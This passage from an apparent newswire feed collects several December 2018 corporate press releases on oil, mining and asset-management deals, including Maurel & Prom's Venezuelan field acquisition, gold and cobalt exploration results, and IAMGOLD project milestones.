herbs, blossoms, roots and fruits is the only German spirit to have made it into the top 90 of this industry ranking. Jagermeister is currently distributed in 135 countries. International sales account for approximately 80 per cent of revenues. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005603/en/ Contacts: Laetitia Delaye +33 7 87 25 36 01 Paris, 20 December 2018 No. 19-18 Maurel & Prom announces the completion of the acquisition of Shell's stake in the Urdaneta West field in Venezuela New milestone in Maurel & Prom's growth strategy in Latin America Urdaneta West field is a producing asset with large reserves and significant upside potential An appropriate organisational and contractual framework has been set up to ensure an efficient redevelopment of the asset and secure payments Etablissements Maurel & Prom (Euronext Paris: MAU, ISIN FR0000051070, "Maurel & Prom") announced in the press release published on 12 October 2018 the signature of a Share Sale and Purchase Agreement (the "SSPA") for the acquisition of Shell Exploration and Production Investments B.V.'s ("Shell") 40% interest as "Shareholder B" in Petroregional del Lago Mixed Company (the "Mixed Company"), which operates the Urdaneta West field in Lake Maracaibo, Venezuela (the "Field"). Further to this publication, Maurel & Prom is delighted to announce that all condition precedents have been satisfied and that the acquisition has been completed. The total consideration for the acquisition of Shell's shares in the Mixed Company is 70 million, funded from Maurel & Prom's existing cash resources and composed as follows: 47 million which have been paid at closing of the transaction, and 23 million payable in December 2019, on the anniversary date of the transaction closing. Maurel & Prom Venezuela, subsidiary of Maurel & Prom, has replaced Shell as Shareholder B in the Mixed Company, with a 40% interest. Petroleos de Venezuela S.A. ("PDVSA"), wholly owned subsidiaries Corporacion Venezolana del Petroleo ("CVP") and PDVSA Social ("PDVSAS") collectively referred to as "Shareholder A", jointly own the remaining 60% stake of the Mixed Company. New milestone in Maurel & Prom's growth strategy in Latin America Michel Hochard, Chief Executive Officer of Maurel & Prom, declared: "This transaction fits Maurel & Prom's growth strategy, focusing on opportunities with significant potential in regions and countries where we have operating experience. It provides us access to an established producing asset in a world class petroleum system, with a potential for significant production improvements. Investments in oil and gas projects require a long term approach, and we expect that jointly with PDVSA and its subsidiaries we will help boost the redevelopment of the Field in the years to come. We have operated in Venezuela in the past and our experience of the region make us confident in the ability to transform this opportunity into a successful project." Producing asset with large reserves and significant upside potential The production of the Field in 2018 is estimated to be around 15,500 barrels of oil per day on a 100% basis (approximately 6,200 barrels of oil per day net to Shareholder B's 40% interest), and there is potential for a swift ramp-up in production. In particular, it is expected that a number of targeted well interventions in the first months of operations could have a significant impact on production. Maurel & Prom will also maintain the efforts which have been deployed over the years to achieve high standards of health, safety, and environmental practices on the Field. As announced in the press release published on 12 October 2018, Maurel & Prom has agreed to a redevelopment plan to increase the production of the Field. The redevelopment plan (amounting to up to c.350 million for the period 2018-2023) will be partly funded by operating cash flow from the asset, and partly with funds advanced by Maurel & Prom Venezuela (the "Project Funding"). In addition to this, the Field offers significant growth optionality through the development of additional resources, and the possible extension of the licence duration beyond its current term in 2026. An appropriate organisational and contractual framework set up to ensure an efficient redevelopment of the asset and secure payments As part of the transaction, a number of contracts have been pre-approved by the Mixed Company in order to ensure the restart of the work programme operations and guarantee a smooth circulation of cash flows. On the operational side, Maurel & Prom Venezuela will provide the Mixed Company with technical assistance through a dedicated structure controlled by Maurel & Prom Venezuela, the "Technical Assistance Company" ("TAC"), registered in Venezuela and established in Maracaibo. In particular, the Technical Assistance Company is intended to closely support the Mixed Company for the conception and implementation of development plans. A significant amount of work has been performed already in order to start a work programme immediately after completion and see a swift impact on production. Maurel & Prom will also appoint a number of secondees for certain positions within the Mixed Company, in an agreement similar to what Shell had in place as Shareholder B. On the financial side and in order to secure the access to cash flows and guarantee the payments to the various stakeholders, it has been agreed that the oil production of the Field would be split in two parts: A portion of the production will be retained by PDVSA in order to satisfy Venezuelan taxes and royalties as well as a portion of the dividends due to the Shareholder A; The balance of production will be made available by PDVSA to be lifted by a buyer designated by the Mixed Company from the Ule terminal in Lake Maraicabo. The proceeds from the sale will be denominated and paid in euros to a bank account located outside Venezuela (the "Collection Account"). Funds transferred to the Collection Account will be used for the payment of contractors for operating and capital expenditures, as well as the payment of dividends to Shareholder B. Reimbursements made to Maurel & Prom Venezuela under the terms of the Project Funding will also flow through the Collection Account. This press release contains inside information as per the definition of article 7 of Regulation n596/2014. For more information, visit www.maureletprom.fr (http://www.maureletprom.fr/) Contacts MAUREL & PROM Press, shareholder and investor relations Tel: +33 (0)1 53 83 16 45 ir@maureletprom.fr (mailto:ir@maureletprom.fr) NewCap Financial communications and investor relations Julie Coulot/Louis-Victor Delouvrier Tel: +33 (0)1 44 71 98 53 maureletprom@newcap.eu (mailto:maureletprom@newcap.eu) Media relations Nicolas Merigeau Tel: +33 (0)1 44 71 94 98 maureletprom@newcap.eu (mailto:maureletprom@newcap.eu) This document may contain forward-looking statements regarding the financial position, results, business and industrial strategy of Maurel & Prom. By nature, forward-looking statements contain risks and uncertainties to the extent that they are based on events or circumstances that may or may not happen in the future. These projections are based on assumptions we believe to be reasonable, but which may prove to be incorrect and which depend on a number of risk factors, such as fluctuations in crude oil prices, changes in exchange rates, uncertainties related to the valuation of our oil reserves, actual rates of oil production and the related costs, operational problems, political stability, legislative or regulatory reforms, or even wars, terrorism and sabotage. Maurel & Prom is listed for trading on Euronext Paris CAC All-Share - CAC Oil & Gas - Next 150 - PEA-PME and SRD eligible Isin FR0000051070 / Bloomberg MAU.FP / Reuters MAUP Maurel & Prom - acquisition english (http://hugin.info/155421/R/2229797/876038.pdf) This announcement is distributed by West Corporation on behalf of West Corporation clients. The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein. Source: Maurel & Prom via Globenewswire Vancouver, British Columbia--(Newsfile Corp. - December 20, 2018) - Minaurum Gold Inc. (TSXV: MGG) (OTCQX: MMRGF) ("Minaurum"), is pleased to announce that it has received $3,981,937.50 in proceeds from the exercise of warrants bringing its consolidated cash balance to approximately $10M. These additional funds provide Minaurum with the flexibility to expand its on-going exploration program at the Alamos silver project. Minaurum currently has 308,939,046 shares issued and outstanding. Minaurum is also pleased to announce the mobilization of a second man-portable drill rig to the Alamos project in order to accelerate the drill testing of newly identified vein systems. Minaurum's exploration strategy remains focused on a first-pass test of one or two holes into each high-potential vein system for the purpose of creating a project-wide exploration inventory. Once completed, subsequent drilling will systematically advance the highest priority targets in the inventory as determined by Minaurum's technical team. In addition, on-going district-scale reconnaissance resulted in the discovery of the 1.2-km long, monzonite-hosted Salvial vein zone. Salvial lies 3 km southwest of the gold-rich Alessandra vein zone (See News Release dated 26 November, 2018) and consists of multiple veins that locally measure 3 metres wide in surface exposures. This newly mapped zone is open to the northeast and to the southwest. Salvial has several features in common with Alessandra including gold-dominance and associated specular hematite. Silver to gold ratios for both Salvial and Alessandra are very low, in contrast to the veins mined in the historic part of the district, adding support to the emerging picture of the Alamos Project as a long-lived, multi-stage epithermal vein camp. Map locations of the vein and preliminary sample results follow below. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/3455/41792_4dc74517141d3b37_003full.jpg Figure 1.Alamos project, showing previously known vein zones and the newly mapped and sampled Salvial vein zone. To view an enhanced version of Figure 2, please visit: https://orders.newsfilecorp.com/files/3455/41792_4dc74517141d3b37_004full.jpg Figure 2. Salvial vein zone, showing rock sample locations, identified by sample number. Significant sample results are presented in Table 1. The Salvial zone is entirely hosted by quartz monzonite. Table 1. Select rock samples, Salvial vein zone. Sample locations are shown in Figure 2. Sample Sample Type Width (m) Lithology Ag g/t Au ppb Cu % Pb % Zn % 926621 subcrop grab vein breccia 1 219 0.01 0.02 0.02 926623 outcrop chip 0.35 vein 2 1 0.59 0.28 0.64 926625 Subcrop grab vein 11 4 2.08 0.39 0.29 926632 outcrop chip 1.00 vein 8 1150 0.16 0.17 0.06 926633 outcrop chip 2.00 monzonite 7 4 1.03 0.03 0.11 926637 outcrop chip 0.30 granodiorite 5 9 0.56 0.03 0.03 926639 subtcrop chip 3.00 vein 4 28 0.60 0.04 0.04 926641 outcrop grab vein 9 710 0.80 0.16 0.26 926646 outcrop chip 1.20 vein 9 3240 0.21 0.02 0.08 926650 outcrop chip 1.50 vein 4 747 0.09 0.05 0.03 926654 outcrop chip 2.00 monzonite 2 121 0.19 0.02 0.04 926657 outcrop chip 2.00 granodiorite 10 25 0.73 0.03 0.02 926658 outcrop chip 0.30 vein 9 44 0.32 0.23 0.20 926659 outcrop chip 0.40 vein 1 4 0.32 0.01 0.07 Minaurum Gold Inc. (TSXV: MGG) (OTCQX: MMRGF) (FSE: 78M) is a Mexico-focused explorer concentrating on the high-grade Alamos Silver project in southern Sonora State. With a property portfolio encompassing multiple additional district-scale projects, Minaurum is managed by one of the strongest technical and finance teams in Mexico. Minaurum's goal is to continue its founders' legacy of creating shareholder value by making district-scale mineral discoveries and executing accretive mining transactions. For more information, please visit our website at www.minaurum.com and our YouTube Minaurum Video Channel. ON BEHALF OF THE BOARD "Darrell A. Rader" Darrell A. Rader President and CEO For more information, please contact: Sunny Pannu -- Investor Relations Manager (778) 330 0994 or via email at pannu@minaurum.com The TSX Venture Exchange does not accept responsibility for the adequacy or accuracy of this news release. 2300 - 1177 West Hastings Street Vancouver, BC V6E 2K3 Telephone 778 330-0994 www.minaurum.com info@minaurum.com Stephen R. Maynard, Vice President of Exploration of Minaurum and a Qualified Person as defined by National Instrument 43-101, reviewed and verified the assay data, and has approved the disclosure in this News Release. Cautionary Note Regarding Forward Looking Statements: Certain disclosures in this release constitute forward-looking information. In making the forward-looking statements in this release, Minaurum has applied certain factors and assumptions that are based on Minaurum' s current beliefs as well as assumptions made by and information currently available to Minaurum. Although Minaurum considers these assumptions to be reasonable based on information currently available to it, they may prove to be incorrect, and the forward-looking statements in this release are subject to numerous risks, uncertainties and other factors that may cause future results to differ materially from those expressed or implied in such forward-looking statements. Readers are cautioned not to place undue reliance on forward-looking statements. Minaurum does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law. Quality Assurance/Quality Control: Preparation and assaying of drilling samples from Minaurum's Alamos project are done with strict adherence to a Quality Assurance/Quality Control (QA/QC) protocol. Core samples are sawed in half and then bagged in a secure facility near the site, and then shipped by a licensed courier to ALS Minerals' preparation facility in Hermosillo, Sonora, Mexico. ALS prepares the samples, crushing them to 70% less than 2mm, splitting off 250g, and pulverizing the split to more than 85% passing 75 microns. The resulting sample pulps are prepared in Hermosillo, and then shipped to Vancouver for chemical analysis by ALS Minerals. In Vancouver, the pulps are analyzed for gold by fire assay and ICP/AES on a 50-gram charge. In addition, analyses are done for a 48-element suite using 4-acid digestion and ICP analysis. Samples with silver values greater than 100 g/t; and copper, lead, or zinc values greater than 10,000 ppm (1%) are re-analyzed using 4-acid digestion and atomic absorption spectrometry (AAS). Quality-control (QC) samples are inserted in the sample stream every 20 samples, and thus represent 5% of the total samples. QC samples include standards, blanks, and duplicate samples. Standards are pulps that have been prepared by a third-party laboratory; they have gold, silver, and base-metal values that are established by an extensive analytical process in which several commercial labs (including ALS Minerals) participate. Standards test the calibration of the analytical equipment. Blanks are rock material known from prior sampling to contain less than 0.005 ppm gold; they test the sample preparation procedure for cross-sample contamination. In the case of duplicates, the sample interval is cut in half, and then quartered. The first quarter is the original sample, the second becomes the duplicate. Duplicate samples provide a test of the reproducibility of assays in the same drilled interval. When final assays are received, QC sample results are inspected for deviation from accepted values. To date, QC sample analytical results have fallen in acceptable ranges on the Alamos project. Vancouver, British Columbia, December 20, 2018 - Tasca Resources Ltd. ("Tasca", "TAC" or the "Company") (TSX Venture: TAC) (Frankfurt: 3TA) is pleased to announce the signing of an option agreement between Sydney Wilson and Canarc Resource Corp. (Canarc) enabling Canarc to acquire up to an 80% interest in Tasca's 14,650 hectare Princeton Gold property located in southern British Columbia, Canada. Clive Massey, Tasca's President and CEO stated, "I look forward to working with Canarc while they conduct further advanced exploration on the Property." Scott Eldridge, Canarc's CEO, stated: "Canarc is excited to participate in this emerging new high-grade gold discovery located near the Copper Mountain Mine in southern British Columbia. The Princeton gold property represents another high-impact exploration opportunity for Canarc in a mining-friendly jurisdiction. Our immediate goal is to conduct field work to expand the known gold mineralization and identify high priority targets for drilling next year." Past Exploration Highlights Combined 2011 surface sampling and 2018 trenching programs highlights as reported by Tasca include: Quartz vein assaying 217 grams per tonne (gpt) gold over 0.9 meters (m) with a second sample three meters along strike assaying 99.7 gpt gold over 0.9 m. gold over 0.9 meters (m) with a second sample three meters along strike assaying gold over 0.9 m. The zone was traced over 120 m along strike beyond which point the overburden depth exceeded the 6 m reach of excavator. Two angular quartz float samples assayed 115.5 gpt gold and 108.5 gpt gold. gold and gold. 38 of 53 in-place or angular float quartz vein samples exceeded 1.0 gpt gold. 24 samples assayed in exceeded 10 gpt gold to a maximum of 217 gpt gold. Tasca cautions investors float samples are grab samples and may not be representative of mineralization on the Princeton Property. Tasca cautions investors the 2011 exploration results are historical and have not yet been verified, and therefore they should not be relied upon. Property Location The Princeton Gold property consists of 14,650 hectares located 35 kilometers (km) south of Princeton, British Columbia and is readily accessible by road. It lies 85 km south of the new high-grade gold discovery by Westhaven Ventures on their Shovelnose property, and 11 km south of the producing Copper Mountain Mine of Copper Mountain Mining. Geology The property is underlain by volcanic rocks of both the Eocene Princeton Group and the Triassic-Jurassic Nicola Group. Recent mapping by the British Columbia Geological Survey and by Tasca geologists suggests the quartz vein gold mineralization is hosted primarily by Princeton volcanics. On surface, quartz veins range from 0.3 to 1.8 m in width and consist of white quartz with limonite fractures, irregular limonitic patches and rare vuggy textures. Recent Exploration Gold in quartz was discovered on the property in the fall of 2010, highlighted by a boulder grading 25.24 gpt gold. Quartz veins plus four zones of quartz float have been identified along a 3 km corridor. A trenching program was conducted on the Property in September 2018 following up on the earlier exploration discoveries, where float grab and in-place quartz rock sampling documented 25 of 37 samples returning gold values in excess of 1 gpt gold with 13 of the 25 samples returning values in excess of 10 gpt gold, to a maximum of 66.2 gpt gold. The main vein structure was traced for approximately 120 m along strike before it disappeared beneath thick overburden in both directions. Trenches were cut perpendicular to vein strike and for short distances along strike in each direction. Two other areas highlighted by anomalous rock samples or soil samples were tested. Overburden thicknesses were beyond the limit of the excavator boom so bedrock was not reached. These areas will need to be tested by diamond drilling. The property is fully permitted for ten drill sites and fifty trench sites. Option Agreement In order to earn an 80% interest in the property, Canarc must spend up to $900,000 on exploration over a 2-year period as follows: Phase 1 - CAD$100,000 on an airborne geophysical survey and related costs before January 31, 2019; Phase 2 - CAD$340,000 on exploration activity in 2019; Phase 3 - CAD$460,000 on exploration activity in 2020; Pay CAD$25,000 to Tasca resulting in the formation of an 80/20 Joint Venture with Tasca to further explore and advance the property. Tasca will retain a 1% NSR royalty on the property and Sydney Wilson has a 2% NSR royalty on the "Sydney Wilson claims" portion of the property which totals 4,012 hectares. The Tasca NSR and 50% of the Sydney Wilson NSR can be acquired by Canarc for $1.0 million each. Next Steps Canarc plans to complete an airborne geophysical survey of the property in December 2018 to refine the known high-grade drill targets and identify other areas of the property with potential for new high-grade gold discoveries. A Phase 1 drill program is being considered for 2019. Qualified Person R. Tim Henneberry, P.Geo. (BC) and Tasca's geologist, is the Qualified Person who has reviewed and approved the technical content of this news release. For additional information regarding the above noted property and other corporate information, please visit the Company's website at www.tascaresources.com ON BEHALF OF THE BOARD OF DIRECTORS "Clive Massey" Clive H. Massey President & CEO For further information, please contact: Tasca Investor Relations Phone: (604) 644-6794 Email: info@tascaresources.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Forward-Looking Statements This news release contains certain statements that may be deemed "forward-looking" statements. Forward looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Although Tasca Resources Ltd. believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results may differ materially from those in forward looking statements. Forward looking statements are based on the beliefs, estimates and opinions of Tasca Resources Ltd. management on the date the statements are made. Except as required by law, Tasca Resources Ltd. undertakes no obligation to update these forward-looking statements in the event that management's beliefs, estimates or opinions, or other factors, should change. ### SOURCE: Tasca Resources Ltd. View source version on accesswire.com:https://www.accesswire.com/531182/Tasca-Enters-into-Princeton-Gold-Property-Option-Agreement-with-Canarc-Resource-Corp Vancouver, British Columbia--(Newsfile Corp. - December 20, 2018) - ePower Metals Inc. (TSXV: EPWR) (the "Company" or "ePower Metals") has entered into a definitive agreement to purchase Exploracion Auramex S.A. de C.V. and its Magenta Cobalt Project in Sinaloa, Mexico, from Bowering Projects Ltd. for US$150,000 and 2,500,000 common shares. The claims are not subject to any royalties. The transaction is subject to TSX-Venture Exchange approval. The Magenta Project consists of five claims totalling 2,274 ha. Four claims are in good standing while one non-core claim (Magenta #2, 77 ha) is under appeal of cancelation. The project is located ~20 km north-northeast of Culiacan, the state capital of Sinaloa. A two-lane paved highway passes to the west and to the north of the property and several dirt roads permit access to the southwestern, western and north-eastern portions of the property. Ranching and agriculture are the main activities in the area and the claims are on privately owned ranch land. Two hydroelectric projects are situated less than 4 km from the property and there is a history of mining and mineral exploration in the region. The Magenta Project hosts numerous high-grade cobalt/gold/silver/nickel vein and skarn style deposits, (See Figure 1 below). The La Prieta showing has seen the most development with two adits and one trench, (zones #1-3), and several drill holes. Historic sampling by Nordic Gold Corp at the La Prieta showing returned results of: 5.54 % Co, 5.8 oz/ T Au, and 6.5 oz/ T Ag, over 0.61 m in Zone #1. m in Zone #1. 3.27% Co, 0.26 oz/ T Au, and 1.7 oz/ T Ag, over 0.5 m in Zone #2. in Zone #2. Adit dump samples (average of three assays completed by three separate labs) returned 8.14% Co 6.23 oz/T Au, and 6.52 oz/T Ag. Cobalt mineralization was traced for 325m along strike of Zone #1. *Sample results stated in the historic reports have not been verified by the Company, and readers are cautioned not to place undue weight on such results.The historical grades are considered relevant; however, the reliability, assumptions, parameters and methods used in preparing the reports are unknown. A site visit by the Company in late July 2018 collected samples at the #2 Adit. The caved adit was cleaned out and samples returned: 0.39% Co, 0.42 oz /T Au, and 2.0 oz /T Ag over 1.6m. including 1.43% Co, 1.9 oz /T Au, and 3.28 oz /T Ag over 0.3m across a massive sulphide vein, 4.52% Co, 1.49oz/T Au, and 6.08 oz/T Ag in a 0.3m chip sample from a second massive sulphide horizon slightly deeper in the historic adit. Michael Collins, President and CEO of ePower Metals comments, "Magenta demonstrates very high-grade cobalt and precious metals. The mineralized system is quite extensive, but it is poorly understood. The Company believes there is great potential for expansion and definition of a meaningful cobalt/precious metals resource and we look forward to getting to work on Magenta." Figure 1 To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/5688/41794_303e2f21f49ecbb6_002full.jpg Other known cobalt showings on the Magenta claim block include: The El Fierro showing, 2.5 km to the northeast of La Prieta, where historic sampling by Auramex Resources Corp returned 11.69% Ni, 3.53% Co, & 4.4g/t Au from a grab sample and a 1.5m chip sample returned 2.44% Ni, 0.91% Co and 1.08g/t Au. from a grab sample and a The El Dormilon showing, 400m west of El Fierro, returned 0.79% Co from a historic dump grab sample. Anomalous cobalt values are found in the Apomal skarn one kilometre to the south of La Prieta. *Sample results stated in the historic reports have not been verified by the Company, and readers are cautioned not to place undue weight on such results.The historical grades are considered relevant; however, the reliability, assumptions, parameters and methods used in preparing the reports are unknown. The Magenta Project surrounds two small mineral claims that host the El Escobal epithermal gold deposit, a high-grade gold deposit mined in the 1950s-60s, located 900m to the northwest of La Preita. The relationship between mineralization at La Prieta and the El Escobal deposit has not been investigated. Cu-Au porphyry mineralization has also been documented on Magenta property. Bruce Kienlen, P.Geo., is Vice President of Exploration for the Company and is the qualified person for the Magenta Project. About ePower Metals ePower Metals Inc. is committed to creating significant shareholder value by advancing a high-quality portfolio of metals for the future - cobalt, copper and manganese - that the company believes are undervalued, strategically positioned and have significant potential to provide future supply to the growing rechargeable battery industry. With core projects in Mexico, Idaho and Suriname, ePower is well placed to develop significant cobalt resources in in the face of tightly constrained cobalt market supply. ON BEHALF OF THE BOARD OF DIRECTORS Michael Collins President and CEO For further information, please contact: Nancy Curry VP Corporate Development ePower Metals Inc. 1507 - 1030 West Georgia Street, Vancouver BC, V6E 2Y3 Telephone: (604) 428-6128 Facsimile: (604) 428-6430 Website: www.epowermetals.com Forward Looking Information Information set forth in this document may include forward-looking statements. While these statements reflect management's current plans, projections and intents, by their nature, forward-looking statements are subject to numerous risks and uncertainties, some of which are beyond the control of ePower Metals. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on these forward-looking statements. ePower Metal's actual results, programs, activities and financial position could differ materially from those expressed in or implied by these forward-looking statements. Neither the TSX Venture Exchange nor the Investment Industry Regulatory Organization of Canada accepts responsibility for the adequacy or accuracy of this release. We seek safe harbor. NEW YORK and LONDON, Dec. 20, 2018 /PRNewswire/ -- Kudu Investment Management, LLC ("Kudu"), a provider of capital solutions to the asset management and wealth management industries, today announced that it has agreed to take a passive minority stake in leading London-based alternative credit manager Fair Oaks Capital Ltd., and various affiliates ("Fair Oaks"). The award-winning Fair Oaks, which manages approximately $2.4 billion, specializes in collateralized loan obligations (CLOs), investing in both US and European CLOs as well as direct investment in bank loans. Terms of the agreement were not disclosed. Fair Oaks was founded in 2013 by veteran alternative credit managers Miguel Ramos Fuentenebro and Roger Coyle. The firm invests across the CLO capital structure, in equity and debt tranches with a focus on US and European credit. The firm also sponsors and manages CLOs. Fair Oaks was recently awarded Best Fixed Income Credit Strategy Fund 2018 by Hedgeweek, and Top Specialist Debt Fund 2018 by Citywire. In partnering with Kudu, Fair Oaks sought to diversify its capital base, while also enabling the founders to reinvest in their strategies thereby enhancing alignment with the firm's clients. "We are delighted to be partnering with Fair Oaks. The extremely talented and creative leadership team has built one of the most respected independent alternative credit managers in a relatively short amount of time," said Rob Jakacki, CEO of Kudu. "We are excited to support the firm's ongoing growth." As is customary in its minority investment partnerships, Kudu will have no role in ongoing operations of Fair Oaks but will offer strategic guidance and support as the firm expands its investment offerings and its network of investors. Fair Oaks represents Kudu's fourth investment in 2018 and its first partnership with a European manager. Mr. Ramos Fuentenebro added "Our partnership with Kudu allows Fair Oaks to further institutionalize our business and provides access to Kudu's insights regarding global growth opportunities, while preserving our valued independence. We anticipate that this strategic relationship with the Kudu team will strengthen Fair Oaks' ability to provide our investors with leading investment solutions across tradable credit and private debt. After exploring a range of potential options, we believe that Kudu is the ideal fit for Fair Oaks." The transaction is expected to close in Q1 2019, subject to receipt of regulatory approvals. Fair Oaks was advised by KPMG Corporate Finance, with legal representation by Travers Smith, LLP and Skadden, Arps Meagher & Flom, LLP. Kudu was represented by Seward & Kissel, LLP and Stephenson, Harwood, LLP. About Kudu Investment Management, LLC Kudu specializes in providing capital solutions - including generational ownership transfers, management buyouts, acquisition and growth finance, as well as liquidity for legacy partners - to asset managers and wealth managers. Kudu was launched in 2015 by Rob Jakacki, and Charlie Ruffel, and is backed by leading institutional investors including White Mountains Insurance Group, Ltd., (NYSE: WTM). For more information, please visit: https://www.kuduinvestment.com/ About Fair Oaks Capital, Ltd. Fair Oaks is an independent asset management and advisory firm with offices in London and New York. Fair Oaks seeks to generate attractive risk-adjusted returns in corporate credit markets, capitalizing on market inefficiencies and leveraging its in-depth research expertise across credit products, performance-driven approach and long-term alignment of interest with investors. Fair Oaks manages assets in excess of $2 billion (as at Q3 2018) across different product offerings, including private and listed funds, separately managed accounts and a UCITS fund. For more information, please visit: www.fairoakscap.com Toronto, Ontario--(Newsfile Corp. - December 20, 2018) - CGX Energy Inc. (TSXV: OYL) ("CGX") and Frontera Energy Corporation (TSX: FEC) ("Frontera") announced today that, further to their news release of December 17, 2018, CGX has issued 5,714,285 common shares in the capital of the Company (the "Shares") to Frontera to settle a total of US$1.2 million in debt. For further details on this transaction, please see our December 17 press release. All of the Shares are subject to a statutory hold period expiring on April 21, 2019 in accordance with applicable securities legislation. About CGX Energy: CGX Energy is a Canadian-based oil and gas exploration company focused on the exploration of oil in the Guyana-Suriname Basin. NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE. About Frontera: Frontera Energy Corporation is a Canadian public company and a leading explorer and producer of crude oil and natural gas, with operations focused in Latin America. The Company has a diversified portfolio of assets with interests in more than 30 exploration and production blocks in Colombia and Peru. The Company's strategy is focused on sustainable growth in production and reserves. Frontera is committed to conducting business safely, in a socially and environmentally responsible manner. Frontera's common shares trade on the Toronto Stock Exchange under the ticker symbol "FEC". If you would like to receive News Releases via e-mail as soon as they are published, please subscribe here: http://fronteraenergy.mediaroom.com/subscribe. FOR FURTHER INFORMATION: Frontera: Grayson Andersen Corporate Vice President, Capital Markets +57-314-250-1467 ir@fronteraenergy.ca www.fronteraenergy.ca CGX: Brooks Lyons Manager, Commercial & Business Development +1-832-300-3200 blyons@cgxenergy.com Tralisa Maraj, Chief Financial Officer +1-832-300-3200 Toronto, Ontario--(Newsfile Corp. - December 20, 2018) - IAMGOLD Corporation (TSX: IMG) ("IAMGOLD" or the "Company") today provides an update on Brownfield Project milestones. Gord Stothart, Executive Vice President and COO for IAMGOLD, stated: "These low-capex, short payback projects are illustrative of the short-cycle investments we have undertaken at our mines to transform the assets and leverage existing infrastructure. Throughout past years and into 2018, we have continued to achieve our targeted project milestones and execute on our growth strategy. With the road construction commencing at Saramacca, the project is well underway and on track to delivering first ore to the mill during the second half of 2019. In just over 28 months we have taken this project from a Greenfield property with no defined resource to declaring, this past September, attributable Reserves of 1.0 million ounces, and now to commencing construction. The CIC and Oxygen plant projects at Rosebel and Essakane, respectively, are adding low cost marginal ounces with quick returns. I commend our mine site and project teams for continuing to improve the assets and deliver on project execution." Saramacca The Company received approval from the Suriname Ministry of Natural Resources to commence construction on the 18 km long section of the main Saramacca haul road outside of the Rosebel Mineral Lease. Construction of the 5 km long section of the Saramacca haul road on the Rosebel Mineral Lease commenced in November 2018, connecting into the existing haulage network. The commencement of road construction allows the Saramacca project to remain on schedule to deliver ore from Saramacca to the Rosebel mill by the second half of 2019. The project is contemplating the use of experienced local Surinamese contractors with a proven track record on major civil projects at Rosebel and elsewhere, with supplemental work performed by the Rosebel mine operations department. The approval was obtained as part of the Environmental and Social Impact Analysis (ESIA) review that is currently underway by local authorities and is expected to be completed in the coming weeks. Rosebel Construction of a new carbon-in-column (CIC) plant has been completed and commissioning has commenced. The plant is expected to be fully operational in January 2019. The plant has been installed between the two existing ponds at the Rosebel Tailings Management Facility and will be used to passively treat tailings decant water to recover residual gold that is present in the solution as a result of lost recovery in the Rosebel carbon-in-leach (CIL process) and of downstream leaching of tailings after it has left the process plant. This plant is expected to recover a minimum of 5,000 gold ounces annually at a marginal operating cost of about US$35/ounce to cover additional power and elution costs. Total cost of the project is US$1.6 million, and the onsite construction effort began in October 2018. Essakane Dry Commissioning of the Oxygen Plant has commenced, with the start-up team from the supplier presently on site. The Company expects the plant to be fully operational in January 2019. The operation of the plant will improve gold leaching kinetics in the Essakane CIL circuit by injecting oxygen directly into the leach tanks versus the current practice of injecting air. This change is expected to increase overall gold recovery at Essakane by a minimum of 0.5 percentage points as well as reduce the negative impacts of processing graphitic ore present in some ore zones at Essakane. The additional recovery will add at least 2,000 gold ounces annually at a marginal operating cost of about US$175/ounce, primarily to cover incremental power requirements. The plant will additionally realize an estimated 10% savings in cyanide consumption, or about US$1.2 million annually. Total cost of the project is US$5.8 million, and the onsite construction effort began in May 2018. Forward Looking Statements This news release contains forward-looking statements. All statements, other than of historical fact, that address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future (including, without limitation, statements regarding expected, estimated or planned gold production, all-in sustaining costs and other cost estimates, capital expenditures and exploration expenditures and statements regarding the estimation of Mineral Resources and Mineral Reserves, exploration results, life-of-mine estimates and potential Mineral Resources and Mineral Reserves) are forward-looking statements. Forward-looking statements are generally identifiable by use of the words "may", "will", "should", "continue", "expect", "anticipate", "estimate", "believe", "prospective", "significant", "significant potential", "substantial", transformative", "intend", "plan" or "project" or the negative of these words or other variations on these words or comparable terminology. Forward-looking statements are subject to a number of risks and uncertainties, many of which are beyond the Company's ability to control or predict, that may cause the actual results of the Company to differ materially from those discussed in the forward-looking statements. Factors that could cause actual results or events to differ materially from current expectations include, among other things, without limitation, failure to meet expected, estimated or planned gold production, unexpected increases in all-in sustaining costs or other costs, unexpected increases in capital expenditures and exploration expenditures, variation in the mineral content within the material identified as Mineral Resources and Mineral Reserves from that predicted, changes in development or mining plans due to changes in logistical, technical or other factors, the possibility that future exploration results will not be consistent with the Company's expectations, changes in world gold markets and other risks disclosed in IAMGOLD's most recent Form 40-F/Annual Information Form on file with the United States Securities and Exchange Commission and Canadian securities regulatory authorities. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement. About IAMGOLD IAMGOLD (www.iamgold.com) is a mid-tier mining company with four operating gold mines on three continents. A solid base of strategic assets in North and South America and West Africa is complemented by development and exploration projects and continued assessment of accretive acquisition opportunities. IAMGOLD is in a strong financial position with extensive management and operational expertise. For further information please contact: Indi Gopinathan, Investor Relations Lead, IAMGOLD Corporation Tel: (416) 360-4743 Mobile: (416) 388-6883 Martin Dumont, Senior Analyst Investor Relations, IAMGOLD Corporation Tel: (416) 933-5783 Mobile: (647) 967-9942 IAMGOLD Corporation Toll-free: 1 888 464-9999 info@iamgold.com Please note: This entire news release may be accessed via fax, e-mail, IAMGOLD's website at www.iamgold.com and through Newsfile's website at www.newsfilecorp.com. All material information on IAMGOLD can be found at www.sedar.com or at www.sec.gov. Si vous desirez obtenir la version francaise de ce 